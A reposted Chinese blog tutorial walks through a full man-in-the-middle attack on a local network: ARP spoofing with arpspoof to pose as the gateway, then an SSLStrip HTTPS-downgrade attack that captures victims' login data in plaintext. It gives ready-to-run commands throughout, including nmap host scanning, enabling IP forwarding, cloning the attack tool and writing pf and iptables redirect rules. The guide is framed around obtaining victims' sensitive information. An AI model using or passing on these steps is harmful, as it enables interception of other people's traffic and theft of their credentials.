如何进行一次完整的 SSLStrip 攻击

简介

本文将介绍在局域网内,如何监听受害者流量并通过 SSLstrip 攻击获取敏感信息,分为如下两步:

  1. 中间人攻击,监听受害者流量
  2. SSLStrip 攻击, 获取敏感信息

中间人攻击

中间人攻击(man-in-the-middle),就是攻击者扮演中间人进行攻击,可以劫持一段会话,窃取凭证和其他机密信息。

ARP (地址解析协议)

ARP 协议负责通过 IP 地址找到 MAC 地址(物理地址 ),在以太网中,是利用 MAC 地址来通讯的。

ARP协议是这样工作的:如主机B需要给主机A(IP为192.168.1.100)发送数据,为了知道谁是主机A,首先主机B发送一个广播包给网内所有机器“谁是192.168.1.10”,正常情况其他机器忽略该消息,仅主机A回复“我是192.168.1.10”,于是通信就可以开始。所有的主机维护他们自己的ARP缓存表,所以不会每一次都发送广播,ARP表中包含IP对应的MAC地址。

攻击准备

mac 下准备
  1. 安装 macports 官网
  2. 更新 macports sudo port -d selfupdate
  3. 安装 dsniff(包含 arp 攻击的工具)sudo port install dsniff
  4. 安装 nmap brew install nmap (如果没有安装 Homebrew,可以去 Homebrew 官网
linux 下准备
  1. 安装 dsniff sudo apt-get install dsniff
  2. 安装 nmap sudo apt-get install nmap

攻击步骤

一、寻找目标

使用nmap命令扫描局域网,获得主机列表
如果所在局域网路由器地址是 192.168.16.1,可以使用 nmap -sP 192.168.16.1/24 扫描

-sP 表示使用 ping 方式扫描,192.168.16.1/24”表示扫描”192.168.16.1-192.168.16.254″这个网段的所有机器。

二、开启 IP 转发

ARP欺骗一般目的是把自己伪装成网关,但如果不作处理,当被欺骗数据包到达后就会被本机丢弃(因为本机不是网关,不知道如何处理这类数据包),这当然是不允许的。开启IP转发功能可以解决该问题,IP转发负责把该类数据包再转发给真正的网关处理,开启IP转发的方法

mac 下:

sysctl -w net.inet.ip.forwarding=1

linux 下:

echo1 >/proc/sys/net/ipv4/ip_forward

三、ARP 欺骗

假设被攻击的 IP 是 192.168.16.134,局域网的网关是 192.168.16.1,攻击电脑使用的网卡接口是 en0(可以使用 ifconfig 命令查看), 则欺骗命令如下:

arpspoof -i en0 -t 192.168.16.134 192.168.16.1

四、分析数据

如果 ARP 欺骗成功,则被攻击的设备会把所有数据先传到我们电脑上,接下来可以使用 wireshark 软件来分析数据。

至此,中间人攻击完成,接下来可以开始进行 SSLstrip 攻击。

SSLStrip 攻击

SSLstrip 也叫 https 降级攻击,攻击者拦截用户流量后,欺骗用户与攻击者进行 http 通信,攻击者与服务器保持正常通信 (http 或 https),从而获取用户信息。

攻击原理

  1. 通过中间人攻击监听 http 流量(自己试验可以通过设置 http 代理)
  2. 更改重定向链接中的 location,替换 https 为 http,并记录
  3. 更改响应内容中的超链接,替换 https 为 http,并记录
  4. 与用户进行 http 通信,与服务器进行 https 通信(记录中本应是 https 的请求),从而明文获取用户信息

攻击准备

  1. 监听 http 流量
  2. 获取攻击代码 git clone git@github.com:zsky/sslstrip.git
  3. 安装 nodeJs

攻击步骤

一、运行程序

命令行进入 sslstrip 程序的根目录,输入命令 node index.js
可以看到程序监听的端口号,比如 8080

二、把流量导入到 sslstrip 程序

mac 下 (修改 mac 的packet filter):

  1. 在 /etc/pf.anchors 目录下新建文件 http,内容如下
    rdr pass on en0 proto tcp from any to any port 80 -> 127.0.0.1 port 8080
    其中最后面的端口号(比如上面的 8080)就是 ssltrip 程序监听的端口号

  2. 修改 /etc/pf.conf 文件,在适当的位置加入
    rdr-anchor "http-forwarding"load anchor "http-forwarding" from "/etc/pf.anchors/http" 两行命令.

    比如 /etc/pf.conf 修改后可能是这样:

     #
     # com.apple anchor point
     #
     scrub-anchor "com.apple/*"
     nat-anchor "com.apple/*"
     rdr-anchor "com.apple/*"
     rdr-anchor "http-forwarding"
     dummynet-anchor "com.apple/*"
     anchor "com.apple/*"
     load anchor "com.apple" from "/etc/pf.anchors/com.apple"
     load anchor "http-forwarding" from "/etc/pf.anchors/http"
  3. 重启 packet filter,依次输入命令 sudo pfctl -ef /etc/pf.confsudo pfctl -E

linux 下(修改 ip 转发表):
输入命令: iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
其中最后面的端口号(比如上面的 8080)就是 sslstrip 程序监听的端口号

如果攻击完成后要删除这条记录可以输入命令 iptables -t nat -D PREROUTING 1
查看 ip 转发表: iptables -t nat -L

三、观察 sslstrip 程序控制台

此时监听的数据会通过 sslstrip 程序,程序默认会把本应是 https 的post 请求(比如登录之类的请求)的数据体打印到控制台

    原文作者:小蜜蜂
    原文地址: https://juejin.im/entry/59ccb07e6fb9a00a4c2729d9
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞